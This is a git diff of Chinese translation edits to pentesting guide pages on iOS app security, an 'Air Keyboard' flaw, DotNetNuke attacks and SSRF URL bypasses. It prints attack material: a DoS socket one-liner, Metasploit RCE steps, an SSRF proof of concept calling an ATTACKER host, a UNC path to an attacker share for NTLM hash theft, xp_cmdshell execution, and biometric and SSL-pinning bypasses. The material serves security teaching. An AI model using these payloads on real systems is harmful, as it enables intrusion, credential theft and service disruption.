默认情况下,NSURLSession将数据(例如**HTTP请求和响应)存储在Cache.db**数据库中。该数据库可能包含**敏感数据**,如果令牌、用户名或任何其他敏感信息被缓存。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`),并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以通过命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
|
默认情况下,NSURLSession将数据(例如**HTTP请求和响应)存储在Cache.db**数据库中。该数据库可能包含**敏感数据**,如果令牌、用户名或任何其他敏感信息被缓存。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`),并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
|
||||||
|
|
||||||
**建议禁用缓存这些数据**,因为它可能在请求或响应中包含敏感信息。以下列表显示了实现此目的的不同方法:
|
**建议禁用缓存这些数据**,因为它可能在请求或响应中包含敏感信息。以下列表显示了实现此目的的不同方法:
|
||||||
|
|
||||||
@ -566,15 +566,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||||||
[self.backgroundImage removeFromSuperview];
|
[self.backgroundImage removeFromSuperview];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
这会在应用程序进入后台时将背景图像设置为 `overlayImage.png`。它防止敏感数据泄露,因为 `overlayImage.png` 将始终覆盖当前视图。
|
这会在应用程序进入后台时将背景图像设置为 `overlayImage.png`。它防止敏感数据泄漏,因为 `overlayImage.png` 将始终覆盖当前视图。
|
||||||
|
|
||||||
### Keychain
|
### Keychain
|
||||||
|
|
||||||
用于访问和管理 iOS 密钥链的工具,如 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper),适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection) 提供了命令 `ios keychain dump` 用于类似目的。
|
对于访问和管理 iOS 密钥链,可以使用像 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) 这样的工具,适用于越狱设备。此外, [**Objection**](https://github.com/sensepost/objection) 提供了命令 `ios keychain dump` 用于类似目的。
|
||||||
|
|
||||||
#### **存储凭据**
|
#### **存储凭据**
|
||||||
|
|
||||||
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,使用以下 Swift 代码:
|
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,可以使用以下 Swift 代码:
|
||||||
```swift
|
```swift
|
||||||
NSURLCredential *credential;
|
NSURLCredential *credential;
|
||||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||||
@ -584,7 +584,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
|||||||
|
|
||||||
## **自定义键盘和键盘缓存**
|
## **自定义键盘和键盘缓存**
|
||||||
|
|
||||||
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在敏感信息输入时使用自定义键盘。
|
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在输入敏感信息时使用自定义键盘。
|
||||||
|
|
||||||
**安全建议:**
|
**安全建议:**
|
||||||
|
|
||||||
@ -599,20 +599,20 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
|||||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||||
textObject.secureTextEntry = YES;
|
textObject.secureTextEntry = YES;
|
||||||
```
|
```
|
||||||
此外,开发人员应确保文本字段,特别是用于输入敏感信息(如密码和 PIN)的字段,通过将 `autocorrectionType` 设置为 `UITextAutocorrectionTypeNo` 和 `secureTextEntry` 设置为 `YES` 来禁用缓存。
|
此外,开发人员应确保文本字段,特别是用于输入敏感信息如密码和 PIN 的字段,通过将 `autocorrectionType` 设置为 `UITextAutocorrectionTypeNo` 和 `secureTextEntry` 设置为 `YES` 来禁用缓存。
|
||||||
```objectivec
|
```objectivec
|
||||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||||
```
|
```
|
||||||
## **日志**
|
## **日志**
|
||||||
|
|
||||||
调试代码通常涉及使用**日志记录**。这存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,这带来了敏感数据泄露的风险。**现在,应用程序只能访问自己的日志**。
|
调试代码通常涉及使用**日志记录**。这存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中,日志对所有应用程序都是可访问的,这带来了敏感数据泄露的风险。**现在,应用程序被限制只能访问自己的日志**。
|
||||||
|
|
||||||
尽管有这些限制,**具有物理访问权限**的攻击者仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。需要注意的是,即使在应用程序卸载后,日志仍然保留在磁盘上。
|
尽管有这些限制,**具有物理访问权限**的攻击者仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。重要的是要注意,日志在应用程序卸载后仍然保留在磁盘上。
|
||||||
|
|
||||||
为了降低风险,建议**彻底与应用程序交互**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
|
为了降低风险,建议**彻底与应用程序互动**,探索其所有功能和输入,以确保没有敏感信息被意外记录。
|
||||||
|
|
||||||
在检查应用程序源代码以寻找潜在泄露时,查找使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`的**预定义**和**自定义日志记录语句**,以及任何提到`Logging`或`Logfile`的自定义实现。
|
在检查应用程序源代码以寻找潜在泄露时,查找使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`的**预定义**和**自定义日志记录语句**,以及任何提及`Logging`或`Logfile`的自定义实现。
|
||||||
|
|
||||||
### **监控系统日志**
|
### **监控系统日志**
|
||||||
|
|
||||||
@ -642,11 +642,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||||||
|
|
||||||
### 安全风险
|
### 安全风险
|
||||||
|
|
||||||
**已安装应用及其数据**包含在备份中,提出了潜在**数据泄漏**的问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用的目录或其子目录中以明文存储敏感信息**以降低这些风险。
|
**已安装应用及其数据**的备份引发了潜在**数据泄漏**的问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用的目录或其子目录中以明文存储敏感信息**以降低这些风险。
|
||||||
|
|
||||||
### 从备份中排除文件
|
### 从备份中排除文件
|
||||||
|
|
||||||
`Documents/`和`Library/Application Support/`中的文件默认会被备份。开发者可以使用`NSURL setResourceValue:forKey:error:`和`NSURLIsExcludedFromBackupKey`来排除特定文件或目录不被备份。这一做法对于保护敏感数据不被包含在备份中至关重要。
|
`Documents/`和`Library/Application Support/`中的文件默认会被备份。开发者可以使用`NSURL setResourceValue:forKey:error:`和`NSURLIsExcludedFromBackupKey`来排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。
|
||||||
|
|
||||||
### 测试漏洞
|
### 测试漏洞
|
||||||
|
|
||||||
@ -665,11 +665,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||||||
...
|
...
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
对于处理加密备份,DinoSec的GitHub仓库中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**,可能会有用,但可能需要进行调整以兼容最新的iTunes/Finder版本。[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)是访问密码保护备份中文件的另一个选项。
|
对于处理加密备份,DinoSec的GitHub仓库中提供的Python脚本,如**backup_tool.py**和**backup_passwd.py**,可能会有用,但可能需要进行调整以兼容最新的iTunes/Finder版本。另一个访问密码保护备份中文件的选项是[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)。
|
||||||
|
|
||||||
### 修改应用行为
|
### 修改应用行为
|
||||||
|
|
||||||
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中演示的,其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求,从而提供无限制访问。
|
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中展示的,其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求,从而提供无限制访问。
|
||||||
|
|
||||||
## 关于敏感数据内存测试的总结
|
## 关于敏感数据内存测试的总结
|
||||||
|
|
||||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
|||||||
```
|
```
|
||||||
## **运行时内存分析**
|
## **运行时内存分析**
|
||||||
|
|
||||||
**r2frida** 提供了一种强大的替代方案,用于实时检查应用程序的内存,而无需内存转储。该工具使得可以直接在运行的应用程序内存上执行搜索命令:
|
**r2frida** 提供了一种强大的替代方案,用于实时检查应用程序的内存,而无需内存转储。该工具使得可以直接在正在运行的应用程序的内存上执行搜索命令:
|
||||||
```bash
|
```bash
|
||||||
$ r2 frida://usb//<name_of_your_app>
|
$ r2 frida://usb//<name_of_your_app>
|
||||||
[0x00000000]> /\ <search_command>
|
[0x00000000]> /\ <search_command>
|
||||||
@ -708,13 +708,13 @@ $ r2 frida://usb//<name_of_your_app>
|
|||||||
|
|
||||||
### Use of Insecure and/or Deprecated Algorithms
|
### Use of Insecure and/or Deprecated Algorithms
|
||||||
|
|
||||||
开发者不应该使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1... 如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希,并加盐。
|
开发者不应该使用**deprecated algorithms**来执行授权**checks**、**store**或**send**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**hashes**用于存储密码,例如,应该使用带盐的抗暴力破解**resistant**的hash。
|
||||||
|
|
||||||
### Check
|
### Check
|
||||||
|
|
||||||
主要检查是查找代码中是否存在**硬编码**的密码/秘密,或者这些是否**可预测**,以及代码是否使用某种**弱**的**加密**算法。
|
主要的检查是查找代码中是否存在**hardcoded**密码/秘密,或者这些是否**predictable**,以及代码是否使用某种**weak** **cryptography**算法。
|
||||||
|
|
||||||
有趣的是,你可以使用**objection**自动**监控**一些**加密** **库**,方法是:
|
有趣的是,你可以使用**objection**自动**monitor**一些**crypto** **libraries**,方法是:
|
||||||
```swift
|
```swift
|
||||||
ios monitor crypt
|
ios monitor crypt
|
||||||
```
|
```
|
||||||
@ -724,7 +724,7 @@ ios monitor crypt
|
|||||||
|
|
||||||
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
|
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
|
||||||
|
|
||||||
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框和安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框的实现和安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
||||||
|
|
||||||
要集成 Touch ID/Face ID,开发者有两个 API 选择:
|
要集成 Touch ID/Face ID,开发者有两个 API 选择:
|
||||||
|
|
||||||
@ -747,9 +747,9 @@ ios monitor crypt
|
|||||||
|
|
||||||
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别认证,如 Touch ID。
|
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别认证,如 Touch ID。
|
||||||
|
|
||||||
钥匙串提供了设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
|
钥匙串提供设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
|
||||||
|
|
||||||
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
|
以下是 Swift 和 Objective-C 中的代码示例,演示如何利用这些安全功能将字符串保存到钥匙串并从中检索。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="Swift"}}
|
{{#tab name="Swift"}}
|
||||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
现在我们可以从钥匙串请求保存的项目。钥匙串服务将向用户显示身份验证对话框,并根据提供的指纹是否合适返回数据或nil。
|
现在我们可以从钥匙串请求保存的项目。钥匙串服务将向用户显示身份验证对话框,并根据是否提供了合适的指纹返回数据或nil。
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="Swift"}}
|
{{#tab name="Swift"}}
|
||||||
@ -880,7 +880,7 @@ NSLog(@"Something went wrong");
|
|||||||
```bash
|
```bash
|
||||||
$ otool -L <AppName>.app/<AppName>
|
$ otool -L <AppName>.app/<AppName>
|
||||||
```
|
```
|
||||||
如果在应用中使用了 `LocalAuthentication.framework`,输出将包含以下两行(请记住,`LocalAuthentication.framework` 在底层使用了 `Security.framework`):
|
如果在应用中使用了 `LocalAuthentication.framework`,输出将包含以下两行(请记住,`LocalAuthentication.framework` 在底层使用 `Security.framework`):
|
||||||
```bash
|
```bash
|
||||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||||
/System/Library/Frameworks/Security.framework/Security
|
/System/Library/Frameworks/Security.framework/Security
|
||||||
@ -891,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
|
|||||||
|
|
||||||
#### **Objection**
|
#### **Objection**
|
||||||
|
|
||||||
通过位于 [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) 的 **Objection Biometrics Bypass**,可以使用一种技术来克服 **LocalAuthentication** 机制。该方法的核心在于利用 **Frida** 操作 `evaluatePolicy` 函数,确保其始终返回 `True` 结果,而不管实际的身份验证是否成功。这对于绕过有缺陷的生物识别身份验证过程特别有用。
|
通过位于 [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) 的 **Objection Biometrics Bypass**,可以使用一种技术来克服 **LocalAuthentication** 机制。该方法的核心在于利用 **Frida** 操作 `evaluatePolicy` 函数,确保其始终返回 `True` 结果,无论实际身份验证是否成功。这对于绕过有缺陷的生物识别身份验证过程特别有用。
|
||||||
|
|
||||||
要激活此绕过,使用以下命令:
|
要激活此绕过,使用以下命令:
|
||||||
```bash
|
```bash
|
||||||
@ -1017,13 +1017,13 @@ burp-configuration-for-ios.md
|
|||||||
|
|
||||||
### 主机名检查
|
### 主机名检查
|
||||||
|
|
||||||
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签名,但 **不检查** 证书的 **主机名** 是否是正在访问的主机名。\
|
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签名,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
|
||||||
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名创建一个新的 Burp 证书** 并使用它。如果应用程序仍然可以正常工作,那么它就存在漏洞。
|
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名创建一个新的 Burp 证书** 并使用它。如果应用程序仍然可以正常工作,那么它就存在漏洞。
|
||||||
|
|
||||||
### 证书钉扎
|
### 证书钉扎
|
||||||
|
|
||||||
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
|
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
|
||||||
为了绕过这种保护,可以在越狱设备上安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
为了在越狱设备中绕过此保护,可以安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||||
|
|
||||||
您还可以使用 **objection's** `ios sslpinning disable`
|
您还可以使用 **objection's** `ios sslpinning disable`
|
||||||
|
|
||||||
@ -1042,7 +1042,7 @@ burp-configuration-for-ios.md
|
|||||||
|
|
||||||
开发人员可以 **立即修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
开发人员可以 **立即修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
||||||
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
|
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
|
||||||
**这是一种危险的机制,可能会被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
|
**这是一种危险的机制,可能被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
|
||||||
|
|
||||||
### 第三方
|
### 第三方
|
||||||
|
|
||||||
|
@ -4,10 +4,9 @@
|
|||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
iOS 版本的商业 "Air Keyboard" 应用程序 (App Store ID 6463187929) 在 **8888 端口上打开了一个明文 TCP 服务**,接受 **没有任何认证** 的按键帧。
|
iOS版本的商业“Air Keyboard”应用程序(App Store ID 6463187929)在**8888端口上打开了一个明文TCP服务**,接受**没有任何认证**的按键帧。任何在同一Wi-Fi网络上的设备都可以连接到该端口并向受害者的手机注入任意键盘输入,从而实现**完全的远程交互劫持**。
|
||||||
同一 Wi-Fi 网络上的任何设备都可以连接到该端口并向受害者的手机注入任意键盘输入,从而实现 **完全的远程交互劫持**。
|
|
||||||
|
|
||||||
一个配套的 Android 版本监听 **55535 端口**。它执行一个弱 AES-ECB 握手,但构造的垃圾数据导致 **OpenSSL 解密例程中的未处理异常**,崩溃后台服务 (**DoS**)。
|
一个配套的Android版本监听**55535端口**。它执行一个弱AES-ECB握手,但构造的垃圾数据导致**OpenSSL解密例程中的未处理异常**,使后台服务崩溃(**DoS**)。
|
||||||
|
|
||||||
## 1. Service Discovery
|
## 1. Service Discovery
|
||||||
|
|
||||||
@ -58,7 +57,7 @@ print("Injected", keystrokes)
|
|||||||
|
|
||||||
## 4. Android Companion – 拒绝服务
|
## 4. Android Companion – 拒绝服务
|
||||||
|
|
||||||
Android 端口 (55535) 期望一个用 **硬编码的 AES-128-ECB 密钥** 加密的 4 字符密码,后面跟着一个随机的 nonce。解析错误会冒泡到 `AES_decrypt()`,并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到进程重新启动。
|
Android 端口(55535)期望一个用 **硬编码的 AES-128-ECB 密钥** 加密的 4 字符密码,后面跟着一个随机的 nonce。解析错误会冒泡到 `AES_decrypt()`,并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到该进程重新启动。
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
@ -73,7 +72,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
|||||||
* 永远不要在移动设备上暴露未认证的服务。
|
* 永远不要在移动设备上暴露未认证的服务。
|
||||||
* 在入职时为每个设备派生秘密,并在处理输入之前验证它们。
|
* 在入职时为每个设备派生秘密,并在处理输入之前验证它们。
|
||||||
* 将监听器绑定到 `127.0.0.1`,并使用相互认证的加密传输(例如,TLS,Noise)进行远程控制。
|
* 将监听器绑定到 `127.0.0.1`,并使用相互认证的加密传输(例如,TLS,Noise)进行远程控制。
|
||||||
* 在移动安全审查中检测意外开放的端口(`netstat`,`lsof`,`frida-trace` 在 `socket()` 等)。
|
* 在移动安全审查期间检测意外开放的端口(`netstat`,`lsof`,`frida-trace` 在 `socket()` 等)。
|
||||||
* 作为最终用户:卸载 Air Keyboard 或仅在受信任的隔离 Wi-Fi 网络上使用。
|
* 作为最终用户:卸载 Air Keyboard 或仅在受信任的隔离 Wi-Fi 网络上使用。
|
||||||
|
|
||||||
## 检测备忘单(渗透测试人员)
|
## 检测备忘单(渗透测试人员)
|
||||||
|
@ -22,7 +22,7 @@
|
|||||||
### 1. Cookie 反序列化 RCE (CVE-2017-9822 & 后续)
|
### 1. Cookie 反序列化 RCE (CVE-2017-9822 & 后续)
|
||||||
*受影响版本 ≤ 9.3.0-RC*
|
*受影响版本 ≤ 9.3.0-RC*
|
||||||
|
|
||||||
`DNNPersonalization` 在启用内置 404 处理程序时在每个请求中被反序列化。因此,精心制作的 XML 可能导致任意小工具链和代码执行。
|
`DNNPersonalization` 在启用内置 404 处理程序时在每个请求上被反序列化。因此,精心制作的 XML 可能导致任意小工具链和代码执行。
|
||||||
```
|
```
|
||||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||||
msf> set RHOSTS <target>
|
msf> set RHOSTS <target>
|
||||||
@ -34,10 +34,10 @@ msf> run
|
|||||||
### 2. 服务器端请求伪造 (CVE-2025-32372)
|
### 2. 服务器端请求伪造 (CVE-2025-32372)
|
||||||
*受影响版本 < 9.13.8 – 补丁于2025年4月发布*
|
*受影响版本 < 9.13.8 – 补丁于2025年4月发布*
|
||||||
|
|
||||||
旧版`DnnImageHandler`修复的绕过使攻击者能够强迫服务器发出**任意GET请求**(半盲SSRF)。实际影响:
|
绕过旧的`DnnImageHandler`修复使攻击者能够强迫服务器发出**任意GET请求**(半盲SSRF)。实际影响:
|
||||||
|
|
||||||
* 内部端口扫描/云部署中的元数据服务发现。
|
* 内部端口扫描/云部署中的元数据服务发现。
|
||||||
* 访问其他被防火墙保护的主机。
|
* 访问其他被防火墙隔离的主机。
|
||||||
|
|
||||||
概念验证(替换`TARGET`和`ATTACKER`):
|
概念验证(替换`TARGET`和`ATTACKER`):
|
||||||
```
|
```
|
||||||
@ -45,19 +45,19 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
|||||||
```
|
```
|
||||||
请求在后台触发;监控您的监听器以获取回调。
|
请求在后台触发;监控您的监听器以获取回调。
|
||||||
|
|
||||||
### 3. NTLM 哈希暴露通过 UNC 重定向 (CVE-2025-52488)
|
### 3. NTLM Hash泄露通过UNC重定向 (CVE-2025-52488)
|
||||||
*受影响版本 6.0.0 – 9.x (< 10.0.1)*
|
*受影响版本 6.0.0 – 9.x (< 10.0.1)*
|
||||||
|
|
||||||
特别构造的内容可以使 DNN 尝试使用 **UNC 路径** 获取资源,例如 `\\attacker\share\img.png`。 Windows 将乐于进行 NTLM 协商,将服务器账户哈希泄露给攻击者。 升级到 **10.0.1** 或在防火墙上禁用出站 SMB。
|
特制的内容可以使DNN尝试使用**UNC路径**获取资源,例如`\\attacker\share\img.png`。Windows将乐于进行NTLM协商,将服务器账户哈希泄露给攻击者。升级到**10.0.1**或在防火墙上禁用出站SMB。
|
||||||
|
|
||||||
### 4. IP 过滤器绕过 (CVE-2025-52487)
|
### 4. IP过滤绕过 (CVE-2025-52487)
|
||||||
如果管理员依赖 *Host/IP 过滤器* 保护管理门户,请注意 **10.0.1** 之前的版本可以通过在反向代理场景中操纵 `X-Forwarded-For` 来绕过。
|
如果管理员依赖*Host/IP过滤器*来保护管理门户,请注意**10.0.1**之前的版本可以通过在反向代理场景中操纵`X-Forwarded-For`来绕过。
|
||||||
|
|
||||||
---
|
---
|
||||||
## 认证后到 RCE
|
## 认证后到RCE
|
||||||
|
|
||||||
### 通过 SQL 控制台
|
### 通过SQL控制台
|
||||||
在 **`Settings → SQL`** 下,内置查询窗口允许对站点数据库执行操作。 在 Microsoft SQL Server 上,您可以启用 **`xp_cmdshell`** 并生成命令:
|
在**`Settings → SQL`**下,内置查询窗口允许对站点数据库执行操作。在Microsoft SQL Server上,您可以启用**`xp_cmdshell`**并生成命令:
|
||||||
```sql
|
```sql
|
||||||
EXEC sp_configure 'show advanced options', 1;
|
EXEC sp_configure 'show advanced options', 1;
|
||||||
RECONFIGURE;
|
RECONFIGURE;
|
||||||
@ -86,7 +86,7 @@ xp_cmdshell 'whoami';
|
|||||||
* 安装后删除残留的 **`InstallWizard.aspx*`** 文件。
|
* 安装后删除残留的 **`InstallWizard.aspx*`** 文件。
|
||||||
* 禁用出站SMB(端口445/139)流量。
|
* 禁用出站SMB(端口445/139)流量。
|
||||||
* 在边缘代理上强制实施强大的 *Host Filters*,而不是在DNN内部。
|
* 在边缘代理上强制实施强大的 *Host Filters*,而不是在DNN内部。
|
||||||
* 如果未使用,阻止对 `/API/RemoteContentProxy` 的访问。
|
* 如果不使用,阻止对 `/API/RemoteContentProxy` 的访问。
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
# URL Format Bypass
|
# URL格式绕过
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
### Localhost
|
### 本地主机
|
||||||
```bash
|
```bash
|
||||||
# Localhost
|
# Localhost
|
||||||
0 # Yes, just 0 is localhost in Linuc
|
0 # Yes, just 0 is localhost in Linuc
|
||||||
@ -146,7 +146,7 @@ next={domain}&next=attacker.com
|
|||||||
```
|
```
|
||||||
### 路径和扩展名绕过
|
### 路径和扩展名绕过
|
||||||
|
|
||||||
如果要求 URL 必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
如果要求URL必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
||||||
```
|
```
|
||||||
https://metadata/vulerable/path#/expected/path
|
https://metadata/vulerable/path#/expected/path
|
||||||
https://metadata/vulerable/path#.extension
|
https://metadata/vulerable/path#.extension
|
||||||
@ -158,7 +158,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||||||
|
|
||||||
### Automatic Custom Wordlists
|
### Automatic Custom Wordlists
|
||||||
|
|
||||||
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数中、Host 头中或 CORS 头中使用 URL。
|
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用该 URL。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||||
@ -193,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||||||
|
|
||||||
### 反斜杠技巧
|
### 反斜杠技巧
|
||||||
|
|
||||||
